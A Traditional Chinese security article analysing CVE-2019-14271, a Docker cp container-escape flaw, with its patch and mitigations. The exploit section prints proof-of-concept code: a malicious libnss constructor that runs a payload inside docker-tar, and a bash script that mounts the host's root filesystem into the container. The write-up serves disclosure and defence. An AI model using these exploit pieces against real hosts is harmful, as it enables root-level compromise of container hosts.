Categories
程式開發

迄今為止最嚴重的容器逃逸漏洞:Docker cp命令漏洞分析


迄今為止最嚴重的容器逃逸漏洞:Docker cp命令漏洞分析 1

過去幾年,我們在各種容器平台上發現copy(cp)命令中存在多個漏洞,包括DockerPodmanKubernetes

迄今為止,最嚴重的一個漏洞是今年7月被發現和披露的。而該漏洞發佈時,並沒有立即引起太多關注,可能是由於CVE描述不明確,並且缺少已經發布的漏洞利用方式。

CVE-2019-14271是一個Docker cp命令實現中存在的安全問題。一旦被攻擊者利用,可能導致容器的完全逃逸。自今年2月發現嚴重的runC漏洞以來,這是後續發現的首個完整容器逃逸漏洞。

如果容器已被先前的攻擊過程破壞(例如:借助其他漏洞和洩露信息等),或者當用戶從不受信任的來源(例如:註冊表等來源)運行惡意容器映像時,可以利用該漏洞。如果用戶隨後執行存在漏洞的cp命令,從受感染的容器中復製文件,那麼攻擊者就可以實現逃逸,並完全控制主機和其中的所有其他容器。

在Docker 19.03.1版本中,CVE-2019-14271被標記為關鍵漏洞,且目前已修復。我們對該漏洞進行了研究,並對漏洞的第一個概念證明(PoC)進行了分析。

我們一直密切關注流行容器平台上存在的漏洞,在近期發現其中的複制漏洞數量有明顯增長趨勢。

Docker cp

Copy命令允許從容器複製文件、複製文件到容器以及在容器之間複製文件。它的語法與標準Unix中的cp命令非常相似。如果要從容器中復制/var/logs,需要使用的語法為:docker cp container_name:/var/logs /some/host/path.

正如我們下圖所看到的,要把文件複製到容器外,Docker借助一個名為docker-tar.的幫助進程。

從容器中復製文件:

迄今為止最嚴重的容器逃逸漏洞:Docker cp命令漏洞分析 2

docker-tar 的工作原理是對文件進行chroot(如下圖所示),將請求的文件和目錄放在其中,然後將生成的tar文件傳遞回Docker守護程序,該守護程序負責將其提取到宿主機的目標目錄中。

Docker-tar chroot進入容器:

迄今為止最嚴重的容器逃逸漏洞:Docker cp命令漏洞分析 3

選擇chroot的方式,有一個主要原因是為了避免符號鏈接問題,當主機進程嘗試訪問容器上的文件時,可能會產生符號鏈接的問題。在這些文件中,如果包含符號鏈接,那麼可能會在無意中將其解析為主機根目錄。這就為攻擊者控制的容器敞開了大門,使得攻擊者可以嘗試讓docker cp在宿主機而非容器上讀取和寫入文件。

在2018年,有幾個在Docker和Podman中發現的CVE漏洞是與符號鏈接相關的。通過進入到容器的根目錄,docker-tar能確保所有符號鏈接都在其目錄下被有效地解析。

但遺憾的是,在從容器中復製文件時,這樣“紮根到容器中”的過程為更嚴重的漏洞埋下了伏筆。

CVE-2019-14271漏洞分析

Docker是使用Golang語言編寫的。具體而言,易受攻擊的Docker版本是使用Go v1.11編譯而成的。

在這個版本中,某些包含嵌入式C語言代碼(cgo)的軟件包在運行時動態加載共享庫。這些軟件包包括netos/user,都會被docker-tar使用,它們會在運行時加載多個libnss_*.so庫。

通常,這些庫會從宿主機的文件系統中加載,但是由於docker-tar會chroots到容器中,因此它會從容器文件系統中加載庫。這也就意味著,docker-tar將加載並執行由容器發起和控制的代碼。

需要說明的是,除了被chroot到容器文件系統之外,docker-tar並沒有被容器化。它運行在宿主機的命名空間中,具有所有root能力,並且不會受到cgroups或seccomp的限制。

有一種可能的攻擊場景,是Docker用戶從以下任一用戶的位置複製一些文件:

  1. 運行包含惡意libnss_*.so庫中惡意映像的容器;
  2. 受到攻擊的容器,且攻擊者替換了其中的libnss_*.so

在這兩種情況時,攻擊者都可以在宿主機上實現root權限的任意代碼執行。

這裡順便提一個有趣的事實,這個漏洞實際上是從GitHub問題中發現的。該用戶試圖從debian:buster-slim容器中復製文件,過程中發現docker cp反復多次出現失敗的情況。

其問題在於,這個特定的映像中不包含libnss庫。因此,當用戶運行docker cp,且docker-tar進程嘗試從容器文件系統加載它們時,會出現失敗並崩潰的情況。

漏洞利用

如果要利用CVE-2019-14271漏洞,需要構建一個惡意的libnss庫。我們隨機選擇一個libnss_files.so,下載這個庫的源代碼,並向其中一個源文件添加了函數run_at_link()

我還使用構造函數屬性定義了該函數。構造函數屬性(特定於GCC的語法)指示run_at_link函數在由進程加載時將作為我們所選擇這個庫的初始化函數執行。這意味著,當docker-tar進程動態加載我們的惡意庫時,將執行run_at_link。下面是run_at_link的代碼,為簡潔起見有所修改。

#include ...
 
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
 
bool is_priviliged();
 
__attribute__ ((constructor)) void run_at_link(void)
{
     char * argv_break(2);
     if (!is_priviliged())
           return;
 
     rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
     fprintf(log_fp, "switched back to the original libnss_file.so");
 
     if (!fork())
     {
 
           // Child runs breakout
           argv_break(0) = strdup("/breakout");
           argv_break(1) = NULL;
           execve("/breakout", argv_break, NULL);
     }
     else
           wait(NULL); // Wait for child
 
     return;
}
bool is_priviliged()
{
     FILE * proc_file = fopen("/proc/self/exe", "r");
     if (proc_file != NULL)
     {
           fclose(proc_file);
           return false; // can open so /proc exists, not privileged
     }
     return true; // we're running in the context of docker-tar
}

run_at_link首先驗證它是否在docker-tar上下文中運行,因為其他常規容器進程也可能會加載。該過程是通過檢查/proc目錄來實現的。如果run_at_linkdocker-tar的上下文中運行,那麼這個目錄將為空,因為/proc上的procfs掛載僅存在於容器掛載的命名空間中。

接下來,run_at_link將惡意的libnss庫替換為原始庫。這樣就可以確保利用該漏洞運行的所有後續進程都不會意外加載惡意版本並重新觸發run_at_link的執行。

然後,為了簡化利用,run_at_link嘗試在容器中的/breakout路徑處運行可執行文件。這將允許其他的漏洞利用可以以諸如bash的形式編寫,而不一定是C語言。這一過程中將其餘的邏輯排除在外,也意味著我們不用針對漏洞利用中的每一處更改都重新編譯惡意庫,而是只需要修改breakout二進製文件即可。

在下面的漏洞利用視頻中,一個Docker用戶運行了一個包含我們的惡意libnss_files.so庫的惡意映像,然後嘗試從容器中復制一些日誌。映像中的/breakout二進製文件是一個簡單的bash腳本,該腳本將宿主機上的文件系統掛載到容器的/host_fs處,同時還將一條消息寫入到宿主機的/evil中。

以下是視頻中所使用的/breakout腳本的來源。為了獲得對宿主機root文件系統的引用,腳本在/proc掛載了procfs。由於docker-tar在主機的PID命名空間中運行,因此掛載的procfs將包含主機進程中的數據。然後,該腳本只需要掛載主機上PID為1的帳戶(root)。

#!/bin/bash

umount /host_fs && rm -rf /host_fs
mkdir /host_fs


mount -t proc none /proc     # mount the host's procfs over /proc
cd /proc/1/root              # chdir to host's root
mount --bind . /host_fs      # mount host root at /host_fs
echo "Hello from within the container!" > /host_fs/evil

漏洞修復方法

該漏洞的修復代碼修復了docker-tar的init函數,該函數可以從存在問題的Go軟件包中調用任意函數。這將使得docker-tar在chroot到容器之前,從宿主機文件系統中加載libnss庫。

CVE-2019-14271修復方法:

迄今為止最嚴重的容器逃逸漏洞:Docker cp命令漏洞分析 4

總結

允許在宿主機上以root執行代碼的漏洞非常嚴重。因此,業務方需確認已經更新至Docker 19.03.1版本或更高版本,因為這些版本包含了針對該漏洞的修復。為限制此類攻擊的攻擊面,我們強烈建議大家不要輕易運行不受信任的映像。

除此之外,在不一定需要使用root用戶的場景中,我們強烈建議以非root用戶身份來運行容器。這樣可以進一步提高其安全性,並能有效防範攻擊者利用容器引擎或內核中可能存在的一些缺陷。

針對這個CVE-2019-14271漏洞,如果我們的容器使用非root用戶運行,就能有效防範相應攻擊。即使攻擊者成功攻破了我們的容器,他也無法覆蓋容器的libnss庫,因為這個庫僅有root具有權限,所以無法實現漏洞利用。

如果大家還想對此有更深入的了解,建議閱讀Ariel Zelivansky的這篇文章,以明白以非root身份運行容器的安全優勢。

此外,我們還可以使用安全產品或安全服務來防範此類威脅:

  1. 確保開發人員使用經過驗證或經過批准的受信任映像。
  2. 借助主機漏洞掃描工具,針對當前環境中運行存在漏洞軟件包的容器發出告警,並檢測出當前存在的CVE漏洞。這樣可以確保我們的容器不會運行存在漏洞的代碼,並能防範1-day攻擊。
  3. 使用運行時安全產品,識別並阻止惡意行為者訪問並攻破我們的容器。 (本文轉自嘶吼